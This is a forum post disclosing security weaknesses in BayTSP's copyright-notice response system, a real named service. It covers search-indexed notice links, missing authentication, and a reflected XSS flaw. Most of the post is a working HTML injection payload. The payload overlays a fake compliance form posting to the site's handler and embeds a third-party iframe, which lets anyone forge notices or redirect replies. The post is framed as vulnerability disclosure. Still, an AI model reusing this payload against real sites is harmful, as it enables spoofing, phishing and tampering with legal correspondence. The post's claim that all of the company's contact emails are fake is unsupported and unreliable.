[BayTSP] How to send copyright infringement notices from you to yourself

http://webreply.baytsp.com/robots.txt wrote:

HTTP Status 404 - /robots.txt

type Status report

message /robots.txt

description The requested resource (/robots.txt) is not available.
Apache Tomcat/5.5.17

No robots.txt file means robots can index and cache everything from their website. And so they did. Almost all their copyright infringement notices can be found with a search engine. Now we know how a copyright infringement notice looks like. The problem is, everyone can see the form and can attempt to respond to copyright infringement claims. There is no IP check and no authentification. There is no way to tell the form was completed by the right person, especially if a proxy was used (anybody can find them with Google and respond to them). Also, users who have some spyware browser toolbars installed (and there are many) may send all clicked links from their e-mails to 3rd parties. In BayTSP's case, a link is all what it takes for anyone with any IP to be able to access a form and users cannot reply to threatening e-mails directly, because the return address is fake.
During a test with a customer ID of 160 and a hash of 11111111111111111111111111111111 (which cannot identify a real complaint), XSS vulnerabilities were found. So anybody can send copyright infringement notices in their name and inject iframes with 3rd party content and redirect the response somewhere else.
The following screenshot demonstrates an XSS attack that injects a poorly formatted fake complaint form (from BayTSP to BayTSP) and an iframe from http://demonoid.com.

WARNING: This is a proof of concept, and it doesn't reflect the views of BayTSP.

</td></tr></table><form style="position:absolute;top:0;left:0" name="compianceform" action="complianceprocess.jsp" method="post">
<BR><BR><BR><BR><BR><BR><BR><BR><BR>
<div id="container"><div id="insideContent"><div id="leftNav"><div id="insideMainContent"><div><img src="images/bg_content_top.gif" width="650" height="8" />
</div><div id="insideMainContentInside"><table width="600" align="center"><tbody><tr><td align="right"><br />
<b><a style="text-decoration: underline;" href="formhelp.html#noticeid" target="_blank">Infringement Notice ID:</a></b>
</td><td align="left" valign="middle"><input type="text" readonly value="31337" name="idcode" disabled></td></tr>
<tr><td align="right"><b><a style="text-decoration: underline;" href="formhelp.html#infinfo" target="_blank">Infringement Information:</a></b><br><font color="red" size="1">(ReadOnly)</font>
</td><td align="left"><textarea readonly="readonly" rows="10" cols="50">Title: Failure to validate input data
Infringement Source: BitTorrent
Initial Infringement Timestamp: 2000-01-01 00:00:00
Recent Infringement Timestamp: 3000-01-01 00:00:00
Infringing filename: *.*
Infringers IP Address: 68.178.254.204
Infringers DNS name: www.baytsp.net , www.baytsp.com
Infringers URL: http://www.baytsp.com


</textarea></td></tr><tr><td align="right"><b><a style="text-decoration: underline;" href="formhelp.html#ctinfo" target="_blank">Contact Information:</a></b><br><font color="red" size="1">(ReadOnly)</font>
</td><td align="left"><textarea readonly="readonly" rows="4" cols="50" title="conatact info"> GoDaddy.com, Inc.
USA
abuse@godaddy.com
</textarea></td></tr><tr><td><p> </p></td></tr><tr><td align="right">
<b><a style="text-decoration: underline;" href="formhelp.html#cpstmt" target="_blank">Compliance Statement:</a></b></td></tr>
<tr><td align="right"><input name="complied" value="1" type="radio"></td><td align="left"><b>Yes.</b> I've complied and removed all copyrighted material for which I'm not the copyright holder from my computer and / or network.</td></tr>
<tr><td align="right"><input name="complied" value="2" type="radio" /></td><td align="left"><b>Yes.</b> While the copyrighted material does not reside on our network, we have taken appropriate steps within our area of authority to resolve this issue <span class="redBold">(For use by ISPs & Universities only)</span> </td></tr>
<tr><td align="right"><input name="complied" value="3" type="radio"></td><td align="left"><b>No.</b> I've not complied.</td></tr>
<tr><td align="right"><input name="complied" value="4" type="radio"></td><td align="left"><b>Mistake.</b>  (<span class="style17">Please explain below why you feel this is a mistake</span>)</td></tr>
<tr><td><p> </p><p> </p></td></tr>
<tr><td align="right"><a style="text-decoration: underline;" href="formhelp.html#addinfo" target="_blank">Additional Information:</a><br><font color="darkgreen">Optional</font></td><td align="left">
<iframe width="100%" height="500px" src="http://www.demonoid.com/files/"></iframe></td></tr>
<tr><td><p> </p><p> </p></td></tr><tr><td align="right" valign="top"><span class="redBold">Important Note!</span></td>
<td align="left"><p>It is BayTSP's policy not to request from ISPs or Universities personal information about the alleged infringer.  		Therefore, BayTSP <strong class="style16">does not know</strong> your personal contact information.</p>
<p>In some instances your internet service provider may terminate your service upon receipt of a copyright infringement notice.  In order to prevent your service from being disconnected or to have it reinstated, your ISP may ask for written verification that you have complied.</p>
<p>If you need written verification from BayTSP that you have complied with the infringement notice, have questions or need help in complying, please be sure to include your email address and/or telephone number in the "additional notes" above . </p>
<p>Additionally, please be assured that in providing your contact information to BayTSP, it will be used only to assist you and will be held in the strictest of confidentiality.</p>
</td></tr><tr valign="bottom"><td colspan="2" align="center" valign="middle"><br /><input name="truth" value="yes" type="checkbox">
<b>I certify</b> that I have provided truthful information.</td></tr><tr><td colspan="2" align="center">
<br /><br /><input name="submit" value="Submit Reply" type="submit" /><br /></td></tr><tr><td><p> </p>
</td></tr></tbody></table><br></div><div><img src="images/bg_content_bottom.gif" width="650" height="8">
</div></div></div><div id="footer"><a href="http://www.baytsp.com">BayTSP Home</a>  |  <a href="http://www.baytsp.com/faq.html">FAQ</a>
<br><div style="margin-top: 2px;">c2008 BayTSP, Inc | Phone:408.341.2300 | Toll Free:1.877.922.9877</div></div></div></form>
</body></html>

Note: all contact e-mail addresses from BayTSP.com website are fake.

Submitted by Vektor

No Comments

[BayTSP] How to send copyright infringement notices from you to yourself

You need to be logged in to be able to post comments